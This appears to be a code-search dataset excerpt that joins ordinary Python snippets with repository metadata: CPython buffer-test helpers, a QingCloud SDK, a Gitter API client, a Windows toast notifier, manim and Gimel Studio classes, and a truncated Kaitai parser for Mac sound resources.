iter_mode(n, obj='ndarray'): for mode in cap[obj][MODE]: for char in fmtdict[mode]: yield randitems(n, obj, mode, char) def iter_format(nitems, testobj='ndarray'): for t in iter_mode(nitems, testobj): yield t if testobj != 'ndarray': return yield struct_items(nitems, testobj) def is_byte_format(fmt): return 'c' in fmt or 'b' in fmt or 'B' in fmt def is_memoryview_format(fmt): x = len(fmt) return ((x == 1 or (x == 2 and fmt[0] == '@')) and fmt[x-1] in MEMORYVIEW) NON_BYTE_FORMAT = [c for c in fmtdict['@'] if not is_byte_format(c)] def atomp(lst): return not isinstance(lst, list) def listp(lst): return isinstance(lst, list) def prod(lst): if len(lst) == 0: return 0 x = lst[0] for v in lst[1:]: x *= v return x def strides_from_shape(ndim, shape, itemsize, layout): if ndim == 0: return () if layout == 'C': strides = list(shape[1:]) + [itemsize] for i in range(ndim-2, -1, -1): strides[i] *= strides[i+1] else: strides = [itemsize] + list(shape[:-1]) for i in range(1, ndim): strides[i] *= strides[i-1] return strides def _ca(items, s): if atomp(items): return items if len(s) == 0: return items[0] lst = [0] * s[0] stride = len(items) // s[0] if s[0] else 0 for i in range(s[0]): start = i*stride lst[i] = _ca(items[start:start+stride], s[1:]) return lst def _fa(items, s): if atomp(items): return items if len(s) == 0: return items[0] lst = [0] * s[0] stride = s[0] for i in range(s[0]): lst[i] = _fa(items[i::stride], s[1:]) return lst def carray(items, shape): if listp(items) and not 0 in shape and prod(shape) != len(items): raise ValueError("prod(shape) != len(items)") return _ca(items, shape) def farray(items, shape): if listp(items) and not 0 in shape and prod(shape) != len(items): raise ValueError("prod(shape) != len(items)") return _fa(items, shape) def indices(shape): iterables = [range(v) for v in shape] return product(*iterables) def getindex(ndim, ind, strides): ret = 0 for i in range(ndim): ret += strides[i] * ind[i] return ret def transpose(src, shape): if not shape: return src ndim = len(shape) sstrides = strides_from_shape(ndim, shape, 1, 'C') dstrides = strides_from_shape(ndim, shape[::-1], 1, 'C') dest = [0] * len(src) for ind in indices(shape): fr = getindex(ndim, ind, sstrides) to = getindex(ndim, ind[::-1], dstrides) dest[to] = src[fr] return dest def _flatten(lst): if lst == []: return lst if atomp(lst): return [lst] return _flatten(lst[0]) + _flatten(lst[1:]) def flatten(lst): if atomp(lst): return lst return _flatten(lst) def slice_shape(lst, slices): if atomp(lst): return [] return [len(lst[slices[0]])] + slice_shape(lst[0], slices[1:]) def multislice(lst, slices): if atomp(lst): return lst return [multislice(sublst, slices[1:]) for sublst in lst[slices[0]]] def m_assign(llst, rlst, lslices, rslices): if atomp(rlst): return rlst rlst = [m_assign(l, r, lslices[1:], rslices[1:]) for l, r in zip(llst[lslices[0]], rlst[rslices[0]])] llst[lslices[0]] = rlst return llst def cmp_structure(llst, rlst, lslices, rslices): lshape = slice_shape(llst, lslices) rshape = slice_shape(rlst, rslices) if (len(lshape) != len(rshape)): return -1 for i in range(len(lshape)): if lshape[i] != rshape[i]: return -1 if lshape[i] == 0: return 0 return 0 def multislice_assign(llst, rlst, lslices, rslices): if cmp_structure(llst, rlst, lslices, rslices) < 0: raise ValueError("lvalue and rvalue have different structures") return m_assign(llst, rlst, lslices, rslices) def verify_structure(memlen, itemsize, ndim, shape, strides, offset): if offset % itemsize: return False if offset < 0 or offset+itemsize > memlen: return False if any(v % itemsize for v in strides): return False if ndim <= 0: return ndim == 0 and not shape and not strides if 0 in shape: return True imin = sum(strides[j]*(shape[j]-1) for j in range(ndim) if strides[j] <= 0) imax = sum(strides[j]*(shape[j]-1) for j in range(ndim) if strides[j] > 0) return 0 <= offset+imin and offset+imax+itemsize <= memlen def get_item(lst, indices): for i in indices: lst = lst[i] return lst def memory_index(indices, t): memlen, itemsize, ndim, shape, strides, offset = t p = offset for i in range(ndim): p += strides[i]*indices[i] return p def is_overlapping(t): memlen, itemsize, ndim, shape, strides, offset = t visited = 1<<memlen for ind in indices(shape): i = memory_index(ind, t) bit = 1<<i if visited & bit: return True visited |= bit return False def rand_structure(itemsize, valid, maxdim=5, maxshape=16, shape=()): if not shape: ndim = randrange(maxdim+1) if (ndim == 0): if valid: return itemsize, itemsize, ndim, (), (), 0 else: nitems = randrange(1, 16+1) memlen = nitems * itemsize offset = -itemsize if randrange(2) == 0 else memlen return memlen, itemsize, ndim, (), (), offset minshape = 2 n = randrange(100) if n >= 95 and valid: minshape = 0 elif n >= 90: minshape = 1 shape = [0] * ndim for i in range(ndim): shape[i] = randrange(minshape, maxshape+1) else: ndim = len(shape) maxstride = 5 n = randrange(100) zero_stride = True if n >= 95 and n & 1 else False strides = [0] * ndim strides[ndim-1] = itemsize * randrange(-maxstride, maxstride+1) if not zero_stride and strides[ndim-1] == 0: strides[ndim-1] = itemsize for i in range(ndim-2, -1, -1): maxstride *= shape[i+1] if shape[i+1] else 1 if zero_stride: strides[i] = itemsize * randrange(-maxstride, maxstride+1) else: strides[i] = ((1,-1)[randrange(2)] * itemsize * randrange(1, maxstride+1)) imin = imax = 0 if not 0 in shape: imin = sum(strides[j]*(shape[j]-1) for j in range(ndim) if strides[j] <= 0) imax = sum(strides[j]*(shape[j]-1) for j in range(ndim) if strides[j] > 0) nitems = imax - imin if valid: offset = -imin * itemsize memlen = offset + (imax+1) * itemsize else: memlen = (-imin + imax) * itemsize offset = -imin-itemsize if randrange(2) == 0 else memlen return memlen, itemsize, ndim, shape, strides, offset def randslice_from_slicelen(slicelen, listlen): maxstart = listlen - slicelen start = randrange(maxstart+1) maxstep = (listlen - start) // slicelen if slicelen else 1 step = randrange(1, maxstep+1) stop = start + slicelen * step s = slice(start, stop, step) _, _, _, control = slice_indices(s, listlen) if control != slicelen: raise RuntimeError return s def randslice_from_shape(ndim, shape): lslices = [0] * ndim rslices = [0] * ndim for n in range(ndim): l = shape[n] slicelen = randrange(1, l+1) if l > 0 else 0 lslices[n] = randslice_from_slicelen(slicelen, l) rslices[n] = randslice_from_slicelen(slicelen, l) return tuple(lslices), tuple(rslices) def rand_aligned_slices(maxdim=5, maxshape=16): ndim = randrange(1, maxdim+1) minshape = 2 n = randrange(100) if n >= 95: minshape = 0 elif n >= 90: minshape = 1 all_random = True if randrange(100) >= 80 else False lshape = [0]*ndim; rshape = [0]*ndim lslices = [0]*ndim; rslices = [0]*ndim for n in range(ndim): small = randrange(minshape, maxshape+1) big = randrange(minshape, maxshape+1) if big < small: big, small = small, big if all_random: start = randrange(-small, small+1) stop = randrange(-small, small+1) step = (1,-1)[randrange(2)] * randrange(1, small+2) s_small = slice(start, stop, step) _, _, _, slicelen = slice_indices(s_small, small) else: slicelen = randrange(1, small+1) if small > 0 else 0 s_small = randslice_from_slicelen(slicelen, small) s_big = randslice_from_slicelen(slicelen, big) if randrange(2) == 0: rshape[n], lshape[n] = big, small rslices[n], lslices[n] = s_big, s_small else: rshape[n], lshape[n] = small, big rslices[n], lslices[n] = s_small, s_big return lshape, rshape, tuple(lslices), tuple(rslices) def randitems_from_structure(fmt, t): memlen, itemsize, _, _, _, _ = t return gen_items(memlen//itemsize, '#'+fmt, 'numpy') def ndarray_from_structure(items, fmt, t, flags=0): memlen, itemsize, ndim, shape, strides, offset = t return ndarray(items, shape=shape, strides=strides, format=fmt, offset=offset, flags=ND_WRITABLE|flags) def numpy_array_from_structure(items, fmt, t): memlen, itemsize, ndim, shape, strides, offset = t buf = bytearray(memlen) for j, v in enumerate(items): struct.pack_into(fmt, buf, j*itemsize, v) return numpy_array(buffer=buf, shape=shape, strides=strides, dtype=fmt, offset=offset) def cast_items(exporter, fmt, itemsize, shape=None): bytelen = exporter.nbytes if shape: if prod(shape) * itemsize != bytelen: return None, shape elif shape == []: if exporter.ndim == 0 or itemsize != bytelen: return None, shape else: n, r = divmod(bytelen, itemsize) shape = [n] if r != 0: return None, shape mem = exporter.tobytes() byteitems = [mem[i:i+itemsize] for i in range(0, len(mem), itemsize)] items = [] for v in byteitems: item = struct.unpack(fmt, v)[0] if item != item: return 'nan', shape items.append(item) return (items, shape) if shape != [] else (items[0], shape) def gencastshapes(): for n in range(32): yield [n] ndim = randrange(4, 6) minshape = 1 if randrange(100) > 80 else 2 yield [randrange(minshape, 5) for _ in range(ndim)] ndim = randrange(2, 4) minshape = 1 if randrange(100) > 80 else 2 yield [randrange(minshape, 5) for _ in range(ndim)] def genslices(n): return product(range(-n, n+1), range(-n, n+1), range(-n, n+1)) def genslices_ndim(ndim, shape): iterables = [genslices(shape[n]) for n in range(ndim)] return product(*iterables) def rslice(n, allow_empty=False): minlen = 0 if allow_empty or n == 0 else 1 slicelen = randrange(minlen, n+1) return randslice_from_slicelen(slicelen, n) def rslices(n, allow_empty=False): for _ in range(5): yield rslice(n, allow_empty) def rslices_ndim(ndim, shape, iterations=5): for _ in range(iterations): yield tuple(rslice(shape[n]) for n in range(ndim)) for _ in range(iterations): yield tuple(rslice(shape[n], allow_empty=True) for n in range(ndim)) yield tuple(slice(0,1,0) for _ in range(ndim)) def rpermutation(iterable, r=None): pool = tuple(iterable) r = len(pool) if r is None else r yield tuple(sample(pool, r))
BSD 3-Clause New or Revised License
yunify/qingcloud-sdk-python
qingcloud/iaas/actions/instance_groups.py
InstanceGroupsAction.leave_instance_group
python
def leave_instance_group(self, instances, instance_group, **ignore): action = const.ACTION_LEAVE_INSTANCE_GROUP valid_keys = ['instances', 'instance_group'] body = filter_out_none(locals(), valid_keys) if not self.conn.req_checker.check_params(body, required_params=['instances', 'instance_group'], list_params=['instances'] ): return None return self.conn.send_request(action, body)
Delete the specific instance(s) from the group. @param instances: An id list contains the instance(s) who want to leave the instance group. @param instance_group: The instance group id.
https://github.com/yunify/qingcloud-sdk-python/blob/10faf28de8651f3fbfea326552ee19f7519935b1/qingcloud/iaas/actions/instance_groups.py#L81-L97
from qingcloud.iaas import constants as const from qingcloud.misc.utils import filter_out_none class InstanceGroupsAction(object): def __init__(self, conn): self.conn = conn def create_instance_groups(self, relation, instance_group_name=None, description=None, **ignore): action = const.ACTION_CREATE_INSTANCE_GROUPS valid_keys = ['relation', 'instance_group_name', 'description'] body = filter_out_none(locals(), valid_keys) if not self.conn.req_checker.check_params(body, required_params=['relation'], ): return None return self.conn.send_request(action, body) def delete_instance_groups(self, instance_groups, **ignore): action = const.ACTION_DELETE_INSTANCE_GROUPS valid_keys = ['instance_groups'] body = filter_out_none(locals(), valid_keys) if not self.conn.req_checker.check_params(body, required_params=['instance_groups'], list_params=['instance_groups'] ): return None return self.conn.send_request(action, body) def join_instance_group(self, instances, instance_group, **ignore): action = const.ACTION_JOIN_INSTANCE_GROUP valid_keys = ['instances', 'instance_group'] body = filter_out_none(locals(), valid_keys) if not self.conn.req_checker.check_params(body, required_params=['instances', 'instance_group'], list_params=['instances'] ): return None return self.conn.send_request(action, body)
Apache License 2.0
bioconda/bioconda-utils
bioconda_utils/gitter.py
GitterAPI.join_room
python
async def join_room(self, user: User, room: Room) -> None: await self._make_request('POST', self._USER_ROOMS, {'userId': user.id}, {'id': room.id})
Add **user** to a **room**
https://github.com/bioconda/bioconda-utils/blob/df49b2169672255d5937b181cb86fbe08f7ebaaa/bioconda_utils/gitter.py#L327-L330
import abc import logging import json import urllib from collections import namedtuple from typing import Any, Dict, List, Mapping, Optional, Tuple, NamedTuple, AsyncIterator import aiohttp import uritemplate logger = logging.getLogger(__name__) class User(NamedTuple): @classmethod def from_dict(cls, data): return cls(**data) id: str username: str displayName: str url: str avatarUrl: str avatarUrlSmall: str avatarUrlMedium: str v: str gv: str providers: List[str] = None class Mention(NamedTuple): @classmethod def from_dict(cls, data): return cls(**data) screenName: str userId: str = None userIds: List[str] = None class Message(NamedTuple): @classmethod def from_dict(cls, data): if 'mentions' in data: data['mentions'] = [Mention.from_dict(user) for user in data['mentions']] if 'fromUser' in data: data['fromUser'] = User.from_dict(data['fromUser']) return cls(**data) id: str text: str html: str sent: str fromUser: User unread: bool readBy: int urls: List[str] mentions: List[Mention] issues: List[str] meta: str v: str gv: str = None editedAt: str = None class Room(NamedTuple): @classmethod def from_dict(cls, data): if 'user' in data: data['user'] = User.from_dict(data['user']) return cls(**data) id: str name: str topic: str userCount: int mentions: List[str] lurk: bool url: str githubType: str tags: List[str] unreadItems: int avatarUrl: str roomMember: str groupId: str public: str lastAccessTime: str = None favourite: bool = False oneToOne: bool = None user: User = None uri: str = None security: str = None noindex: str = None group: str = None v: str = None class GitterAPI: _GITTER_API = "https://api.gitter.im/v1" _GITTER_STREAM_API = "https://stream.gitter.im/v1" _MESSAGES = "/rooms/{roomId}/chatMessages{/messageId}" _ROOMS = "/rooms{/roomId}" _USER_ROOMS = "/user/{userId}/rooms" _UNREAD = "/user/{userId}/rooms/{roomId}/unreadItems" _ROOM_USERS = "/rooms/{roomId}/users{/userId}" _LIST_GROUPS = "/groups" _GET_USER = "/user/me" def __init__(self, token: str) -> None: self.token = token self.debug_once = False @abc.abstractmethod async def _request(self, method: str, url: str, headers: Mapping[str, str], body: bytes = b'') -> Tuple[int, Mapping[str, str], bytes]: @abc.abstractmethod async def _stream_request(self, method: str, url: str, headers: Mapping[str, str], body: bytes = b'') -> AsyncIterator[bytes]: def _prepare_request(self, url: str, var_dict: Mapping[str, str], data: Any = None, charset: str = 'utf-8', accept: str = "application/json") -> Tuple[str, Mapping[str, str], bytes]: url = uritemplate.expand(url, var_dict=var_dict) headers = {} headers['accept'] = accept headers['Authorization'] = "Bearer " + self.token body = b'' if isinstance(data, str): body = data.encode(charset) elif isinstance(data, Mapping): body = json.dumps(data).encode(charset) headers['content-type'] = "application/json; charset=" + charset headers['content-length'] = str(len(body)) return url, headers, body async def _make_request(self, method: str, url: str, var_dict: Mapping[str, str], data: Any = None, accept: str = "application/json") -> Tuple[str, Any]: charset = 'utf-8' url = ''.join((self._GITTER_API, url)) url, headers, body = self._prepare_request(url, var_dict, data, charset, accept) status, res_headers, response = await self._request(method, url, headers, body) if self.debug_once: self.debug_once = False logger.error("Called %s / %s", method, url) logger.error("Headers: %s", headers) logger.error("Body: %s", body) logger.error("Result Status: %s", status) logger.error("Result Headers: %s", res_headers) logger.error("Response: %s", response.decode(charset)) response_text = response.decode(charset) try: return response_text, json.loads(response_text) except json.decoder.JSONDecodeError: logger.error("Call to '%s' yielded text '%s' - not JSON", url.replace(self.token, "******"), response_text.replace(self.token, "******")) return response_text, None async def _make_stream_request(self, method: str, url: str, var_dict: Mapping[str, str], data: Any = None, accept: str = "application/json") -> AsyncIterator[Any]: charset = 'utf-8' url = ''.join((self._GITTER_STREAM_API, url)) url, headers, body = self._prepare_request(url, var_dict, data, charset, accept) async for line_bytes in self._stream_request(method, url, headers, body): line_str = line_bytes.decode(charset) if not line_str.strip(): continue try: yield json.loads(line_str) except json.decoder.JSONDecodeError: logger.error("Failed to decode json in line %s", line_str) async def list_rooms(self, name: str = None) -> List[Room]: _, data = await self._make_request('GET', self._ROOMS, {}) if not data: return [] rooms = [Room.from_dict(item) for item in data] if name: rooms = list(filter(lambda room: room.name == name, rooms)) return rooms async def get_room(self, uri: str) -> Room: _, data = await self._make_request('POST', self._ROOMS, {}, {'uri': uri}) return Room.from_dict(data)
MIT License
sleuth-io/code-video-generator
code_video/code_walkthrough.py
HighlightLines.__init__
python
def __init__(self, code: Code, start: int = 1, end: int = -1, **kwargs): super().__init__(code, **kwargs) self.start_line_number = start self.end_line_number = end
Args: code: The code instance to highlight start: The line number to start highlighting, inclusive end: The last line number to highlight
https://github.com/sleuth-io/code-video-generator/blob/dde5bd9860b4944fa297b3083585c0036df17a0a/code_video/code_walkthrough.py#L14-L23
from tempfile import NamedTemporaryFile from typing import List from typing import Optional from manim import Code from manim import Transform class HighlightLines(Transform):
Apache License 2.0
jithurjacob/windows-10-toast-notifications
win10toast/__init__.py
ToastNotifier.show_toast
python
def show_toast(self, title="Notification", msg="Here comes the message", icon_path=None, duration=5, threaded=False): if not threaded: self._show_toast(title, msg, icon_path, duration) else: if self.notification_active(): return False self._thread = threading.Thread(target=self._show_toast, args=(title, msg, icon_path, duration)) self._thread.start() return True
Notification settings. :title: notification title :msg: notification message :icon_path: path to the .ico file to custom notification :duration: delay in seconds before notification self-destruction
https://github.com/jithurjacob/windows-10-toast-notifications/blob/9d52b73f1af6c60162cf09b99269c4f7b13cdb00/win10toast/__init__.py#L117-L135
from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals __all__ = ['ToastNotifier'] import logging import threading from os import path from time import sleep from pkg_resources import Requirement from pkg_resources import resource_filename from win32api import GetModuleHandle from win32api import PostQuitMessage from win32con import CW_USEDEFAULT from win32con import IDI_APPLICATION from win32con import IMAGE_ICON from win32con import LR_DEFAULTSIZE from win32con import LR_LOADFROMFILE from win32con import WM_DESTROY from win32con import WM_USER from win32con import WS_OVERLAPPED from win32con import WS_SYSMENU from win32gui import CreateWindow from win32gui import DestroyWindow from win32gui import LoadIcon from win32gui import LoadImage from win32gui import NIF_ICON from win32gui import NIF_INFO from win32gui import NIF_MESSAGE from win32gui import NIF_TIP from win32gui import NIM_ADD from win32gui import NIM_DELETE from win32gui import NIM_MODIFY from win32gui import RegisterClass from win32gui import UnregisterClass from win32gui import Shell_NotifyIcon from win32gui import UpdateWindow from win32gui import WNDCLASS class ToastNotifier(object): def __init__(self): self._thread = None def _show_toast(self, title, msg, icon_path, duration): message_map = {WM_DESTROY: self.on_destroy, } self.wc = WNDCLASS() self.hinst = self.wc.hInstance = GetModuleHandle(None) self.wc.lpszClassName = str("PythonTaskbar") self.wc.lpfnWndProc = message_map try: self.classAtom = RegisterClass(self.wc) except: pass style = WS_OVERLAPPED | WS_SYSMENU self.hwnd = CreateWindow(self.classAtom, "Taskbar", style, 0, 0, CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, self.hinst, None) UpdateWindow(self.hwnd) if icon_path is not None: icon_path = path.realpath(icon_path) else: icon_path = resource_filename(Requirement.parse("win10toast"), "win10toast/data/python.ico") icon_flags = LR_LOADFROMFILE | LR_DEFAULTSIZE try: hicon = LoadImage(self.hinst, icon_path, IMAGE_ICON, 0, 0, icon_flags) except Exception as e: logging.error("Some trouble with the icon ({}): {}" .format(icon_path, e)) hicon = LoadIcon(0, IDI_APPLICATION) flags = NIF_ICON | NIF_MESSAGE | NIF_TIP nid = (self.hwnd, 0, flags, WM_USER + 20, hicon, "Tooltip") Shell_NotifyIcon(NIM_ADD, nid) Shell_NotifyIcon(NIM_MODIFY, (self.hwnd, 0, NIF_INFO, WM_USER + 20, hicon, "Balloon Tooltip", msg, 200, title)) sleep(duration) DestroyWindow(self.hwnd) UnregisterClass(self.wc.lpszClassName, None) return None
MIT License
gimelstudio/gimel-studio
src/GimelStudio/node/object.py
NodeObject.UpdateView
python
def UpdateView(self): self.View._viewData = self.Model.ModelViewData
Update the view from the model.
https://github.com/gimelstudio/gimel-studio/blob/e2750576e72edee6f2f4c268045b81459df82d89/src/GimelStudio/node/object.py#L48-L50
from .model import NodeModel from .view import NodeView class NodeObject(object): def __init__(self, _id): self._model = NodeModel(_id) self._view = NodeView(_id) @property def Model(self): return self._model @property def View(self): return self._view
Apache License 2.0
trailofbits/polyfile
polyfile/kaitai/parsers/mac_os_resource_snd.py
MacOsResourceSnd.init_pan_mask
python
def init_pan_mask(self): if hasattr(self, '_m_init_pan_mask'): return self._m_init_pan_mask if hasattr(self, '_m_init_pan_mask') else None self._m_init_pan_mask = 3 return self._m_init_pan_mask if hasattr(self, '_m_init_pan_mask') else None
mask for right/left pan values.
https://github.com/trailofbits/polyfile/blob/5c35f703c89cebc208c45adf140ec05e42fcc4c2/polyfile/kaitai/parsers/mac_os_resource_snd.py#L409-L415
from pkg_resources import parse_version import kaitaistruct from kaitaistruct import KaitaiStruct, KaitaiStream, BytesIO from enum import Enum import collections if parse_version(kaitaistruct.__version__) < parse_version('0.9'): raise Exception("Incompatible Kaitai Struct Python API: 0.9 or later is required, but you have %s" % (kaitaistruct.__version__)) class MacOsResourceSnd(KaitaiStruct): class CmdType(Enum): null_cmd = 0 quiet_cmd = 3 flush_cmd = 4 re_init_cmd = 5 wait_cmd = 10 pause_cmd = 11 resume_cmd = 12 call_back_cmd = 13 sync_cmd = 14 empty_cmd = 15 available_cmd = 24 version_cmd = 25 total_load_cmd = 26 load_cmd = 27 freq_duration_cmd = 40 rest_cmd = 41 freq_cmd = 42 amp_cmd = 43 timbre_cmd = 44 get_amp_cmd = 45 volume_cmd = 46 get_volume_cmd = 47 wave_table_cmd = 60 phase_cmd = 61 sound_cmd = 80 buffer_cmd = 81 rate_cmd = 82 get_rate_cmd = 85 class SoundHeaderType(Enum): standard = 0 compressed = 254 extended = 255 class DataType(Enum): square_wave_synth = 1 wave_table_synth = 3 sampled_synth = 5 class WaveInitOption(Enum): channel0 = 4 channel1 = 5 channel2 = 6 channel3 = 7 class InitOption(Enum): chan_left = 2 chan_right = 3 no_interp = 4 no_drop = 8 mono = 128 stereo = 192 mace3 = 768 mace6 = 1024 class CompressionTypeEnum(Enum): variable_compression = -2 fixed_compression = -1 not_compressed = 0 two_to_one = 1 eight_to_three = 2 three_to_one = 3 six_to_one = 4 SEQ_FIELDS = ["format", "num_data_formats", "data_formats", "reference_count", "num_sound_commands", "sound_commands"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['format']['start'] = self._io.pos() self.format = self._io.read_u2be() self._debug['format']['end'] = self._io.pos() if self.format == 1: self._debug['num_data_formats']['start'] = self._io.pos() self.num_data_formats = self._io.read_u2be() self._debug['num_data_formats']['end'] = self._io.pos() if self.format == 1: self._debug['data_formats']['start'] = self._io.pos() self.data_formats = [None] * (self.num_data_formats) for i in range(self.num_data_formats): if not 'arr' in self._debug['data_formats']: self._debug['data_formats']['arr'] = [] self._debug['data_formats']['arr'].append({'start': self._io.pos()}) _t_data_formats = MacOsResourceSnd.DataFormat(self._io, self, self._root) _t_data_formats._read() self.data_formats[i] = _t_data_formats self._debug['data_formats']['arr'][i]['end'] = self._io.pos() self._debug['data_formats']['end'] = self._io.pos() if self.format == 2: self._debug['reference_count']['start'] = self._io.pos() self.reference_count = self._io.read_u2be() self._debug['reference_count']['end'] = self._io.pos() self._debug['num_sound_commands']['start'] = self._io.pos() self.num_sound_commands = self._io.read_u2be() self._debug['num_sound_commands']['end'] = self._io.pos() self._debug['sound_commands']['start'] = self._io.pos() self.sound_commands = [None] * (self.num_sound_commands) for i in range(self.num_sound_commands): if not 'arr' in self._debug['sound_commands']: self._debug['sound_commands']['arr'] = [] self._debug['sound_commands']['arr'].append({'start': self._io.pos()}) _t_sound_commands = MacOsResourceSnd.SoundCommand(self._io, self, self._root) _t_sound_commands._read() self.sound_commands[i] = _t_sound_commands self._debug['sound_commands']['arr'][i]['end'] = self._io.pos() self._debug['sound_commands']['end'] = self._io.pos() class Extended(KaitaiStruct): SEQ_FIELDS = ["instrument_chunk_ptr", "aes_recording_ptr"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['instrument_chunk_ptr']['start'] = self._io.pos() self.instrument_chunk_ptr = self._io.read_u4be() self._debug['instrument_chunk_ptr']['end'] = self._io.pos() self._debug['aes_recording_ptr']['start'] = self._io.pos() self.aes_recording_ptr = self._io.read_u4be() self._debug['aes_recording_ptr']['end'] = self._io.pos() class SoundHeader(KaitaiStruct): SEQ_FIELDS = ["_unnamed0", "sample_ptr", "num_samples", "num_channels", "sample_rate", "loop_start", "loop_end", "encode", "midi_note", "extended_or_compressed", "sample_area"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): if self.start_ofs < 0: self._debug['_unnamed0']['start'] = self._io.pos() self._unnamed0 = self._io.read_bytes(0) self._debug['_unnamed0']['end'] = self._io.pos() self._debug['sample_ptr']['start'] = self._io.pos() self.sample_ptr = self._io.read_u4be() self._debug['sample_ptr']['end'] = self._io.pos() if self.sound_header_type == MacOsResourceSnd.SoundHeaderType.standard: self._debug['num_samples']['start'] = self._io.pos() self.num_samples = self._io.read_u4be() self._debug['num_samples']['end'] = self._io.pos() if ((self.sound_header_type == MacOsResourceSnd.SoundHeaderType.extended) or (self.sound_header_type == MacOsResourceSnd.SoundHeaderType.compressed)) : self._debug['num_channels']['start'] = self._io.pos() self.num_channels = self._io.read_u4be() self._debug['num_channels']['end'] = self._io.pos() self._debug['sample_rate']['start'] = self._io.pos() self.sample_rate = MacOsResourceSnd.UnsignedFixedPoint(self._io, self, self._root) self.sample_rate._read() self._debug['sample_rate']['end'] = self._io.pos() self._debug['loop_start']['start'] = self._io.pos() self.loop_start = self._io.read_u4be() self._debug['loop_start']['end'] = self._io.pos() self._debug['loop_end']['start'] = self._io.pos() self.loop_end = self._io.read_u4be() self._debug['loop_end']['end'] = self._io.pos() self._debug['encode']['start'] = self._io.pos() self.encode = KaitaiStream.resolve_enum(MacOsResourceSnd.SoundHeaderType, self._io.read_u1()) self._debug['encode']['end'] = self._io.pos() self._debug['midi_note']['start'] = self._io.pos() self.midi_note = self._io.read_u1() self._debug['midi_note']['end'] = self._io.pos() if ((self.sound_header_type == MacOsResourceSnd.SoundHeaderType.extended) or (self.sound_header_type == MacOsResourceSnd.SoundHeaderType.compressed)) : self._debug['extended_or_compressed']['start'] = self._io.pos() self.extended_or_compressed = MacOsResourceSnd.ExtendedOrCompressed(self._io, self, self._root) self.extended_or_compressed._read() self._debug['extended_or_compressed']['end'] = self._io.pos() if self.sample_ptr == 0: self._debug['sample_area']['start'] = self._io.pos() self.sample_area = self._io.read_bytes((self.num_samples if self.sound_header_type == MacOsResourceSnd.SoundHeaderType.standard else (((self.extended_or_compressed.num_frames * self.num_channels) * self.extended_or_compressed.bits_per_sample) // 8 if self.sound_header_type == MacOsResourceSnd.SoundHeaderType.extended else (self._io.size() - self._io.pos())))) self._debug['sample_area']['end'] = self._io.pos() @property def start_ofs(self): if hasattr(self, '_m_start_ofs'): return self._m_start_ofs if hasattr(self, '_m_start_ofs') else None self._m_start_ofs = self._io.pos() return self._m_start_ofs if hasattr(self, '_m_start_ofs') else None @property def base_freqeuncy(self): if hasattr(self, '_m_base_freqeuncy'): return self._m_base_freqeuncy if hasattr(self, '_m_base_freqeuncy') else None if ((self.midi_note >= 0) and (self.midi_note < 128)) : self._m_base_freqeuncy = self._root.midi_note_to_frequency[self.midi_note] return self._m_base_freqeuncy if hasattr(self, '_m_base_freqeuncy') else None @property def sound_header_type(self): if hasattr(self, '_m_sound_header_type'): return self._m_sound_header_type if hasattr(self, '_m_sound_header_type') else None _pos = self._io.pos() self._io.seek((self.start_ofs + 20)) self._debug['_m_sound_header_type']['start'] = self._io.pos() self._m_sound_header_type = KaitaiStream.resolve_enum(MacOsResourceSnd.SoundHeaderType, self._io.read_u1()) self._debug['_m_sound_header_type']['end'] = self._io.pos() self._io.seek(_pos) return self._m_sound_header_type if hasattr(self, '_m_sound_header_type') else None class UnsignedFixedPoint(KaitaiStruct): SEQ_FIELDS = ["integer_part", "fraction_part"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['integer_part']['start'] = self._io.pos() self.integer_part = self._io.read_u2be() self._debug['integer_part']['end'] = self._io.pos() self._debug['fraction_part']['start'] = self._io.pos() self.fraction_part = self._io.read_u2be() self._debug['fraction_part']['end'] = self._io.pos() @property def value(self): if hasattr(self, '_m_value'): return self._m_value if hasattr(self, '_m_value') else None self._m_value = (self.integer_part + (self.fraction_part / 65535.0)) return self._m_value if hasattr(self, '_m_value') else None class SoundCommand(KaitaiStruct): SEQ_FIELDS = ["is_data_offset", "cmd", "param1", "param2"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['is_data_offset']['start'] = self._io.pos() self.is_data_offset = self._io.read_bits_int_be(1) != 0 self._debug['is_data_offset']['end'] = self._io.pos() self._debug['cmd']['start'] = self._io.pos() self.cmd = KaitaiStream.resolve_enum(MacOsResourceSnd.CmdType, self._io.read_bits_int_be(15)) self._debug['cmd']['end'] = self._io.pos() self._io.align_to_byte() self._debug['param1']['start'] = self._io.pos() self.param1 = self._io.read_u2be() self._debug['param1']['end'] = self._io.pos() self._debug['param2']['start'] = self._io.pos() self.param2 = self._io.read_u4be() self._debug['param2']['end'] = self._io.pos() @property def sound_header(self): if hasattr(self, '_m_sound_header'): return self._m_sound_header if hasattr(self, '_m_sound_header') else None if ((self.is_data_offset) and (self.cmd == MacOsResourceSnd.CmdType.buffer_cmd)) : _pos = self._io.pos() self._io.seek(self.param2) self._debug['_m_sound_header']['start'] = self._io.pos() self._m_sound_header = MacOsResourceSnd.SoundHeader(self._io, self, self._root) self._m_sound_header._read() self._debug['_m_sound_header']['end'] = self._io.pos() self._io.seek(_pos) return self._m_sound_header if hasattr(self, '_m_sound_header') else None class Compressed(KaitaiStruct): SEQ_FIELDS = ["format", "reserved", "state_vars_ptr", "left_over_samples_ptr", "compression_id", "packet_size", "synthesizer_id"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['format']['start'] = self._io.pos() self.format = (self._io.read_bytes(4)).decode(u"ASCII") self._debug['format']['end'] = self._io.pos() self._debug['reserved']['start'] = self._io.pos() self.reserved = self._io.read_bytes(4) self._debug['reserved']['end'] = self._io.pos() self._debug['state_vars_ptr']['start'] = self._io.pos() self.state_vars_ptr = self._io.read_u4be() self._debug['state_vars_ptr']['end'] = self._io.pos() self._debug['left_over_samples_ptr']['start'] = self._io.pos() self.left_over_samples_ptr = self._io.read_u4be() 